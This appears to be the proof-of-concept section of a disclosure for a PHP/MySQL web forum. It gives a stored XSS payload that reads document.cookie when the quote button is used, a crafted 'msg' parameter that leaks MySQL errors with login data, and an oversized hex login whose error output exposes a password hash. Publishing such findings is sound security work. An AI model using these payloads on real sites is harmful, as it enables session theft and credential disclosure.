/*==========================================*/

[PoC]

1- XSS
	- Post a message including the following line: &lt;/textarea&gt;'"><script>alert(document.cookie)</script>
	- Valid.
	- Click on "Citer" to execute the script.

	You can also do it with the edit button (after loging in).

2-
	Do the following request : http://SOME_HOST/forum/index.php?msg=*/*
	It will dump a MySQL error message which can dump login:pw infos.

3-
	- Register with :
	login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65
	70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61
	72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20
	5b 3c 61 20 68 72 65 66 3d 27 66 75
        [...a huge login name...]
	6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66
	75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e
	passwd:blabla
	email:blabla@gmail.com
	- Valid.

	This form is not validated at all, so it can cause a MySQL error like :

	Mysql error in file 
	/home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in
	function subscribe at line 222

	Mysql query error :
	INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe)
		VALUES ('6b 66 73 6a 64 61 20 54 50 68 
	[...]','admin','atHax4CLQE42Q','blabla@gmail.com','1','1','1141202540')

	Please note this error and contact your administrator.
